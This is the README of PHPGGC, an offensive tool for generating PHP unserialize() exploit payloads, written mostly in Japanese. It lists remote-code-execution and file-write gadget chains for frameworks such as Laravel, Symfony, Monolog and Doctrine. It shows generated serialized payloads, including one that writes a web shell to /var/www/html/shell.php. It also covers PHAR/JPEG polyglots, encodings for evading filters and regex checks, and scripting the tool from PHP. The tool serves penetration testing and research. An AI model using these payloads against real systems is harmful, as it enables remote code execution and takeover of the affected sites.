
PHPGGC is a library of PHP unserialize() payloads along with a tool to generate them, from command line or programmatically.
PHPGGC は、unserialize() ペイロードのライブラリであり、コマンドラインまたはプログラムからそれらを生成するためのツールです。 ソースコードを持っていないウェブサイトで unserialize に遭遇した場合や、単にエクスプロイトを構築しようとしている場合、このツールを使用すると、ガジェットを見つけて組み合わせるという面倒な手順を踏むことなくペイロードを生成できます。これは frohoff の ysoserial の PHP 版に相当するものと考えることができます。 現在、このツールは CodeIgniter4、Doctrine、Drupal7、Guzzle、Laravel、Magento、Monolog、Phalcon、Podio、Slim、SwiftMailer、Symfony、Wordpress、Yii、ZendFramework などのガジェットチェーンをサポートしています。
PHPGGC を実行するには PHP >= 5.6 が必要です。
./phpggc -l を実行すると、ガジェットチェーンの一覧を取得できます:
$ ./phpggc -l
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Bitrix/RCE1 17.x.x <= 22.0.300 RCE (Function call) __destruct
CakePHP/RCE1 ? <= 3.9.6 RCE (Command) __destruct
CakePHP/RCE2 ? <= 4.2.3 RCE (Function call) __destruct
CodeIgniter4/FR1 4.0.0 <= 4.3.6 File read __toString *
CodeIgniter4/RCE1 4.0.2 <= 4.0.3 RCE (Function call) __destruct
CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE3 4.0.4 <= 4.3.6 RCE (Function call) __destruct
CodeIgniter4/RCE4 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct
CodeIgniter4/RCE5 -4.1.3+ RCE (Function call) __destruct
CodeIgniter4/RCE6 -4.1.3 <= 4.2.10+ RCE (Function call) __destruct
Doctrine/FW1 ? File write __toString *
Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct *
Doctrine/RCE1 1.5.1 <= 2.7.2 RCE (PHP code) __destruct *
Doctrine/RCE2 1.11.0 <= 2.3.2 RCE (Function call) __destruct *
Dompdf/FD1 1.1.1 <= ? File delete __destruct *
...
ガジェットチェーンのフィルタリング:
$ ./phpggc -l laravel
Gadget Chains
-------------
NAME VERSION TYPE VECTOR I
Laravel/RCE1 5.4.27 RCE (Function call) __destruct
Laravel/RCE10 5.6.0 <= 9.1.8+ RCE (Function call) __toString
Laravel/RCE2 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE3 5.5.0 <= 5.8.35 RCE (Function call) __destruct *
Laravel/RCE4 5.4.0 <= 8.6.9+ RCE (Function call) __destruct
Laravel/RCE5 5.8.30 RCE (PHP code) __destruct *
Laravel/RCE6 5.5.* <= 5.8.35 RCE (PHP code) __destruct *
Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct *
Laravel/RCE8 7.0.0 <= 8.6.9+ RCE (Function call) __destruct *
Laravel/RCE9 5.4.0 <= 9.1.8+ RCE (Function call) __destruct
各ガジェットチェーンには以下があります:
__destruct()、__toString()、offsetGet() など)チェーンに関する詳細情報を取得するには、-i を使用します:
$ ./phpggc -i symfony/rce1
Name : Symfony/RCE1
Version : 3.3
Type : rce
Vector : __destruct
Informations :
Exec through proc_open()
./phpggc Symfony/RCE1 <command>
RCE ガジェットの場合、実行されるコマンドには、ガジェットの動作方法に応じて 3 つのフォーマットタイプがあります:
./phpggc Symfony/RCE1 id./phpggc Symfony/RCE2 'phpinfo();'./phpggc Symfony/RCE4 system idチェーンを選択したら、./phpggc <gadget-chain> [parameters] を実行してペイロードを取得します。
たとえば、Monolog のペイロードを取得するには、次のようにします:
$ ./phpggc monolog/rce1 assert 'phpinfo()'
O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}}
SwiftMailer を使用したファイル書き込みの場合は、次のようにします:
$ echo 'It works !' > /tmp/data
$ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data
O:13:"Swift_Message":8:{...}
--wrapper(-w)オプションを使用すると、次の関数を含む PHP ファイルを定義できます:
process_parameters(array $parameters):generate() の直前に呼び出され、パラメータを変更できますprocess_object(object $object):serialize() の直前に呼び出され、オブジェクトを変更できますprocess_serialized(string $serialized):serialize() の直後に呼び出され、シリアライズされた文字列を変更できますたとえば、脆弱なコードが次のようになっている場合:
<?php
$data = unserialize($_GET['data']);
print $data['message'];
次のようにラップして、__toString() チェーンを使用できます:
<?php
# /tmp/my_wrapper.php
function process_object($object)
{
return array(
'message' => $object
);
}
そして、phpggc を次のように呼び出します:
$ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id
a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}}
BlackHat US 2018 で、@s_n_t は PHPGGC のフォークである PHARGGC をリリースしました。これは、シリアライズされたペイロードを構築する代わりに、PHAR ファイル全体を構築します。この PHAR ファイルにはシリアライズされたデータが含まれており、さまざまなエクスプロイト手法(file_exists、fopen など)に使用できます。論文はこちらです。
PHAR アーカイブには PHAR、TAR、ZIP の 3 つの異なる形式があります。PHPGGC はその 3 つすべてをサポートしています。
ポリグロットファイルは --phar-jpeg(-pj)を使用して生成できます。他のオプションも利用可能です(-h を使用)。
$ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar
$ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id
$ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar
$ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id
$ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar
$ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id
引数を使用すると、ペイロードの出力方法を変更できます。たとえば、-u は URL エンコードし、-b は base64 に変換します。
ペイロードには NULL バイトが含まれることが多く、そのままコピー/ペーストすることはできません。ペイロードを読みやすく保つソフト URL エンコードには -s を使用してください。
エンコーダーはチェーンできるため、順序が重要です。たとえば、./phpggc -b -u -u slim/rce1 system id はペイロードを base64 エンコードし、その後 2 回 URL エンコードします。
PHPGGC は --fast-destruct(-f)フラグを実装しています。これにより、シリアライズされたオブジェクトがスクリプトの最後ではなく、unserialize() 呼び出しの直後に破棄されるようになります。信頼性が向上するため、すべての __destruct ベクターでこれを使用することをお勧めします。たとえば、PHP スクリプトが呼び出し後に例外を発生させた場合、オブジェクトの __destruct メソッドが呼び出されない可能性があります。これはエンコーダーと同時に処理されるため、最初に設定する必要があります。
$ ./phpggc -f -s slim/rce1 system id
a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"...
標準の s の代わりに S シリアライズ形式を使用します。これにより、すべての非 ASCII 文字が 16 進表現に置き換えられます:
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"A\00B\09\0D";
これは、何らかの理由で非 ASCII 文字が許可されない場合(たとえば NULL バイト)に役立ちます。ペイロードには通常それらが含まれるため、これによりペイロードが ASCII 値のみで構成されるようになります。
注:これは実験的な機能であり、場合によっては機能しない可能性があります。
標準の s の代わりに S シリアライズ形式を使用します。これにより、すべての文字が 16 進表現に置き換えられます:
s:5:"A<null_byte>B<cr><lf>";̀ -> S:5:"\41\00\42\09\0D";
これは、ファイアウォールや PHP コードが文字列をブロックする場合に便利です。
注:これは実験的な機能であり、場合によっては機能しない可能性があります。
注:これにより、ペイロード内の各文字列のサイズが 3 倍になります。
PHP スクリプトが /O:[0-9]+: などの正規表現を使用して、指定されたシリアライズされたペイロードにオブジェクトが含まれていないことを検証する場合があります。これは、O:123: の代わりに O:+123:... を使用すると簡単にバイパスできます。--plus-numbers <types> または -n <types> を使用すると、シンボルの前にこれらの + 記号を自動的に追加できます。
たとえば、オブジェクトと文字列を難読化するには、--n Os を使用できます。PHP 7.2 以降、+ を使用できるのは i 型と d(浮動小数点)型のみであることに注意してください。
シリアライズされたペイロード内の protected または private プロパティへの参照を public に変換しようとします。 これは、PHP がオブジェクトの非公開プロパティをシリアライズするときに、プロパティ名の前にアスタリスク(protected の場合)またはクラス名(private の場合)を NULL バイトで囲んで付加するため、役立ちます。ペイロードがエンコードなしでプレーンテキストとして送信または保存されると、これらは失われやすいからです。そうなると、プロパティ名の文字列長(および名前自体)が不正確になるため、ペイロードは unserialize に失敗します。 さらに、プレフィックスがないとペイロードがわずかに小さくなります。プロパティを public に変換するのは新しい PHP バージョンで機能する傾向がありますが、古いバージョン(PHP 7.2 より前)では問題が発生する可能性があります。 この機能は、チェーンにカスタムの serialize / unserialize 実装を持つオブジェクトが 1 つ以上含まれている場合、正しく機能しない可能性があります。
使用したいガジェットチェーンが対象の環境で機能するかどうかをテストするには、環境のフォルダーに移動し、--test-payload オプションを付けてチェーンを引数なしで実行します。
たとえば、Monolog/RCE2 が Symfony 4.x で機能するかどうかをテストするには:
$ composer create-project symfony/website-skeleton=4.x some_symfony
$ cd some_symfony
$ phpggc monolog/rce2 --test-payload
Trying to deserialize payload...
SUCCESS: Payload triggered !
終了コードは、ペイロードがトリガーされた場合は 0 になり、それ以外の場合は 1 になります。
ガジェットチェーンがパッケージのどのバージョンに対して機能するかを確認したい場合は、test-gc-compatibility.py を使用できます。
$ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3
Testing 59 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.x-dev │ OK │ OK │ KO │
│ 2.3.0 │ OK │ OK │ KO │
│ 2.2.0 │ OK │ OK │ KO │
│ 2.1.1 │ OK │ OK │ KO │
│ 2.1.0 │ OK │ OK │ KO │
│ 2.0.2 │ OK │ OK │ KO │
│ 2.0.1 │ OK │ OK │ KO │
│ 2.0.0 │ OK │ OK │ KO │
│ 2.0.0-beta2 │ OK │ OK │ KO │
│ 2.0.0-beta1 │ OK │ OK │ KO │
│ 1.x-dev │ OK │ OK │ KO │
│ 1.26.1 │ OK │ OK │ KO │
│ 1.26.0 │ OK │ OK │ KO │
│ 1.25.5 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
...
│ 1.0.1 │ OK │ KO │ KO │
│ 1.0.0 │ OK │ KO │ KO │
│ 1.0.0-RC1 │ OK │ KO │ KO │
│ dev-main │ OK │ OK │ KO │
│ * dev-phpstan │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
次の構文を使用すると、テストするバージョンを指定できます。
$ ./test-gc-compatibility.py monolog/monolog:2.3.0,1.25.4 monolog/rce1 monolog/rce3
Testing 2 versions for monolog/monolog against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓
┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃
┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩
│ 2.3.0 │ OK │ OK │ KO │
│ 1.25.4 │ OK │ OK │ KO │
└─────────────────┴─────────┴──────────────┴──────────────┘
PHPGGC をコマンドラインツールとして使用する代わりに、PHP スクリプトをプログラミングできます:
<?php
# Include PHPGGC
include("phpggc/lib/PHPGGC.php");
# Include guzzle/rce1
$gc = new \GadgetChain\Guzzle\RCE1();
# Always process parameters unless you're doing something out of the ordinary
$parameters = $gc->process_parameters([
'function' => 'system',
'parameter' => 'id',
]);
# Generate the payload
$object = $gc->generate($parameters);
# Most (if not all) GC's do not use process_object and process_serialized, so
# for quick & dirty code you can omit those two
$object = $gc->process_object($object);
# Serialize the payload
$serialized = serialize($object);
$serialized = $gc->process_serialized($serialized);
# Display it
print($serialized . "\n");
# Create a PHAR file from this payload
$phar = new \PHPGGC\Phar\Tar($serialized);
file_put_contents('output.phar.tar', $phar->generate());
これにより、パラメータを調整したり、エクスプロイトをより簡単に記述したりできます。 注:現時点ではかなり実験的ですので、バグを報告してください。
プルリクエストは大歓迎です。次の簡単なガイドラインに従ってください:
__destruct() は常に最良のベクターです{ は新しい行に置き、配列は古い array(1, 2, 3) 表記ではなく [1, 2, 3] と記述します。コード的には、ディレクトリ構造はかなり単純です。ガジェットは gadgets.php に、説明とロジックは chain.php にあります。 パラメータを変更する必要がある場合は、前処理および後処理メソッドを定義できます。 すでに実装されているガジェットが、独自のガジェットを構築するのに十分であることを願っています。 そうでない場合も、質問があれば喜んでお答えします。
できるだけ多くのバージョンをテストしてください。バージョンの命名規則は次のとおりです:[-]<lower-version> <= <higher-version>[+]。- と + の記号は、ペイロードがそれぞれより低いバージョンとより高いバージョンで機能する可能性があることを示します。たとえば、ガジェットチェーンがバージョン 2.0.0 から、当時の最新バージョンである 4.4.1 まで機能する場合は、2.0.0 <= 4.4.1+ を使用します。
--new <framework> <type> コマンドラインオプションを使用すると、新しいガジェットチェーンのディレクトリとファイル構造を作成できます。
たとえば、./phpggc -n Drupal RCE を使用すると、新しい Drupal RCE ガジェットチェーンが作成されます。
PHP をインストールしたくない場合は、次のコマンドで docker イメージをビルドできます:
$ docker build . -t 'phpggc'
その後、docker 化された phpggc を使用できます。
$ docker run phpggc Monolog/rce1 'system' 'id'
環境のフォルダーに移動し、--test-payload オプションを付けてチェーンを引数なしで実行します:
$ docker run -v "$(pwd)":/app -w /app phpggc Monolog/RCE9 --test-payload
注:コマンドは、入力画像が置かれているディレクトリで実行する必要があります。
$ docker run -v "$(pwd)":/images phpggc -pj /images/dummy.jpg -o /images/z.zip.phar Monolog/RCE9 system id
test-gc-compatibility.py の実行$ docker run --entrypoint './test-gc-compatibility.py' phpggc doctrine/doctrine-bundle:2.2,2.7.2 doctrine/rce1 doctrine/rce2
Runing on PHP version ('PHP 8.1.13 (cli) (built: Nov 30 2022 21:53:44) (NTS).
Testing 2 versions for doctrine/doctrine-bundle against 2 gadget chains.
┏━━━━━━━━━━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━━┓
┃ doctrine/doctrine-bundle ┃ Package ┃ doctrine/rce1 ┃ doctrine/rce2 ┃
┡━━━━━━━━━━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━━┩
│ 2.2 │ OK │ OK │ OK │
│ 2.7.2 │ OK │ OK │ KO │
└──────────────────────────┴─────────┴───────────────┴───────────────┘